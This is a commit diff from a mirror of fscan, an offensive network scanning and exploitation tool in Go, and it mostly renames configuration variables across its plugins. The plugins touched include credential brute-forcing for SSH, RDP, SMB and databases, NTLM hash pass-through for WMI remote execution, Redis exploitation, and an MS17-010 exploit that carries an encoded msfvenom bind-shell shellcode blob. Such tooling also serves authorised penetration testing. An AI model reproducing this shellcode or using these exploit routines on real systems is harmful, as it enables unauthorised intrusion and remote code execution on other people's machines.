archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-22 03:10:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

refactor: 大型重构

Browse Source
This commit is contained in:
ZacharyZcR
2024-12-20 03:46:09 +08:00
parent c0b7f4ca4f
commit bdeabec67e
27 changed files with 227 additions and 232 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Plugins/FTP.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
// FtpScan 执行FTP服务扫描
func FtpScan(info *Common.HostInfo) (tmperr error) {
// 如果已开启暴力破解则直接返回
if Common.IsBrute {
if Common.DisableBrute {
return
}
Plugins/FcgiScan.go
+3 -3
View File
@@ -21,14 +21,14 @@ import (
// FcgiScan 执行FastCGI服务器漏洞扫描
func FcgiScan(info *Common.HostInfo) error {
// 如果设置了暴力破解模式则跳过
if Common.IsBrute {
if Common.DisableBrute {
return nil
}
// 设置目标URL路径
url := "/etc/issue"
if Common.Path != "" {
url = Common.Path
if Common.RemotePath != "" {
url = Common.RemotePath
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Plugins/MS17010-Exp.go
+5 -5
View File
@@ -19,7 +19,7 @@ func MS17010EXP(info *Common.HostInfo) {
var sc string
// 根据不同类型选择shellcode
switch Common.SC {
switch Common.Shellcode {
case "bind":
// msfvenom生成的Bind Shell, 监听64531端口
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
@@ -56,15 +56,15 @@ func MS17010EXP(info *Common.HostInfo) {
default:
// 从文件读取或直接使用提供的shellcode
if strings.Contains(Common.SC, "file:") {
read, err := ioutil.ReadFile(Common.SC[5:])
if strings.Contains(Common.Shellcode, "file:") {
read, err := ioutil.ReadFile(Common.Shellcode[5:])
if err != nil {
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.SC, err))
Common.LogError(fmt.Sprintf("[-] MS17010读取Shellcode文件 %v 失败: %v", Common.Shellcode, err))
return
}
sc = fmt.Sprintf("%x", read)
} else {
sc = Common.SC
sc = Common.Shellcode
}
}
Plugins/MS17010.go
+2 -2
View File
@@ -84,7 +84,7 @@ func init() {
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
// 暴力破解模式下跳过扫描
if Common.IsBrute {
if Common.DisableBrute {
return nil
}
@@ -200,7 +200,7 @@ func MS17010Scan(info *Common.HostInfo) error {
// 如果指定了shellcode,执行漏洞利用
defer func() {
if Common.SC != "" {
if Common.Shellcode != "" {
MS17010EXP(info)
}
}()
Plugins/MSSQL.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
// MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
if Common.DisableBrute {
return
}
Plugins/Mongodb.go
+1 -1
View File
@@ -9,7 +9,7 @@ import (
// MongodbScan 执行MongoDB未授权扫描
func MongodbScan(info *Common.HostInfo) error {
if Common.IsBrute {
if Common.DisableBrute {
return nil
}
Plugins/MySQL.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
// MysqlScan 执行MySQL服务扫描
func MysqlScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
if Common.DisableBrute {
return
}
Plugins/Oracle.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
// OracleScan 执行Oracle服务扫描
func OracleScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
if Common.DisableBrute {
return
}
Plugins/Postgres.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
// PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
if Common.DisableBrute {
return
}
Plugins/RDP.go
+2 -2
View File
@@ -30,7 +30,7 @@ type Brutelist struct {
// RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
if Common.DisableBrute {
return
}
@@ -47,7 +47,7 @@ func RdpScan(info *Common.HostInfo) (tmperr error) {
port, _ := strconv.Atoi(info.Ports)
// 启动工作协程
for i := 0; i < Common.BruteThread; i++ {
for i := 0; i < Common.BruteThreads; i++ {
wg.Add(1)
go worker(info.Host, Common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, Common.Timeout)
}
Plugins/Redis.go
+2 -2
View File
@@ -27,7 +27,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
return err
}
if Common.IsBrute {
if Common.DisableBrute {
return
}
@@ -167,7 +167,7 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
// Expoilt 尝试Redis漏洞利用
func Expoilt(realhost string, conn net.Conn) error {
// 如果配置为不进行测试则直接返回
if Common.Noredistest {
if Common.DisableRedis {
return nil
}
Plugins/SMB.go
+1 -1
View File
@@ -12,7 +12,7 @@ import (
// SmbScan 执行SMB服务的认证扫描
func SmbScan(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
if Common.DisableBrute {
return nil
}
Plugins/SMB2.go
+7 -7
View File
@@ -15,7 +15,7 @@ import (
func SmbScan2(info *Common.HostInfo) (tmperr error) {
// 如果未启用暴力破解则直接返回
if Common.IsBrute {
if Common.DisableBrute {
return nil
}
@@ -51,7 +51,7 @@ func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error {
return err
}
if len(Common.Hash) > 0 {
if len(Common.HashValue) > 0 {
break
}
}
@@ -80,7 +80,7 @@ func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) erro
return err
}
if len(Common.Hash) > 0 {
if len(Common.HashValue) > 0 {
break
}
}
@@ -101,7 +101,7 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
}
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v", Common.Hash)
result += fmt.Sprintf("HashValue:%v", Common.HashValue)
} else {
result += fmt.Sprintf("Pass:%v", pass)
}
@@ -112,8 +112,8 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string
if len(hash) > 0 {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
info.Host, info.Ports, user, Common.Hash, err)
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v",
info.Host, info.Ports, user, Common.HashValue, err)
} else {
errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v",
info.Host, info.Ports, user, pass, err)
@@ -213,7 +213,7 @@ func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte,
// 添加认证信息
if len(hash) > 0 {
result += fmt.Sprintf("Hash:%v ", Common.Hash)
result += fmt.Sprintf("HashValue:%v ", Common.HashValue)
} else {
result += fmt.Sprintf("Pass:%v ", pass)
}
Plugins/SSH.go
+6 -6
View File
@@ -12,7 +12,7 @@ import (
)
func SshScan(info *Common.HostInfo) (tmperr error) {
if Common.IsBrute {
if Common.DisableBrute {
return
}
@@ -82,7 +82,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
}
// 如果指定了SSH密钥，则不进行密码尝试
if Common.SshKey != "" {
if Common.SshKeyPath != "" {
return err
}
}
@@ -94,8 +94,8 @@ func SshScan(info *Common.HostInfo) (tmperr error) {
func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) {
// 准备认证方法
var auth []ssh.AuthMethod
if Common.SshKey != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKey)
if Common.SshKeyPath != "" {
pemBytes, err := ioutil.ReadFile(Common.SshKeyPath)
if err != nil {
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
}
@@ -203,7 +203,7 @@ func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass strin
if result.err != nil {
return true, result.err
}
if Common.SshKey != "" {
if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, string(result.output)))
} else {
@@ -212,7 +212,7 @@ func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass strin
}
}
} else {
if Common.SshKey != "" {
if Common.SshKeyPath != "" {
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
info.Host, info.Ports))
} else {
Plugins/SmbGhost.go
+1 -1
View File
@@ -97,7 +97,7 @@ const (
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
func SmbGhost(info *Common.HostInfo) error {
// 如果开启了暴力破解模式，跳过该检测
if Common.IsBrute {
if Common.DisableBrute {
return nil
}
Plugins/VNC.go
+1 -1
View File
@@ -11,7 +11,7 @@ import (
// VncScan 执行VNC服务扫描及密码尝试
func VncScan(info *Common.HostInfo) (tmperr error) {
// 如果已开启暴力破解则直接返回
if Common.IsBrute {
if Common.DisableBrute {
return
}
Plugins/WMIExec.go
+6 -6
View File
@@ -34,7 +34,7 @@ func init() {
// WmiExec 执行WMI远程命令
func WmiExec(info *Common.HostInfo) (tmperr error) {
// 如果是暴力破解模式则跳过
if Common.IsBrute {
if Common.DisableBrute {
return nil
}
@@ -49,7 +49,7 @@ func WmiExec(info *Common.HostInfo) (tmperr error) {
pass = strings.Replace(pass, "{user}", user, -1)
// 尝试WMI连接
flag, err := Wmiexec(info, user, pass, Common.Hash)
flag, err := Wmiexec(info, user, pass, Common.HashValue)
// 记录错误日志
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
@@ -66,8 +66,8 @@ func WmiExec(info *Common.HostInfo) (tmperr error) {
}
// 添加认证信息到结果
if Common.Hash != "" {
result += "hash: " + Common.Hash
if Common.HashValue != "" {
result += "hash: " + Common.HashValue
} else {
result += pass
}
@@ -85,8 +85,8 @@ func WmiExec(info *Common.HostInfo) (tmperr error) {
}
}
// 如果使用NTLM Hash，则跳过密码循环
if len(Common.Hash) == 32 {
// 如果使用NTLM HashValue，则跳过密码循环
if len(Common.HashValue) == 32 {
break PASS
}
}
Plugins/WebTitle.go
+2 -2
View File
@@ -21,7 +21,7 @@ import (
// WebTitle 获取Web标题并执行扫描
func WebTitle(info *Common.HostInfo) error {
// 如果是webpoc扫描模式，直接执行WebScan
if Common.Scantype == "webpoc" {
if Common.ScanMode == "webpoc" {
WebScan.WebScan(info)
return nil
}
@@ -38,7 +38,7 @@ func WebTitle(info *Common.HostInfo) error {
}
// 根据配置决定是否执行漏洞扫描
if !Common.NoPoc && err == nil {
if !Common.DisablePoc && err == nil {
WebScan.WebScan(info)
} else {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)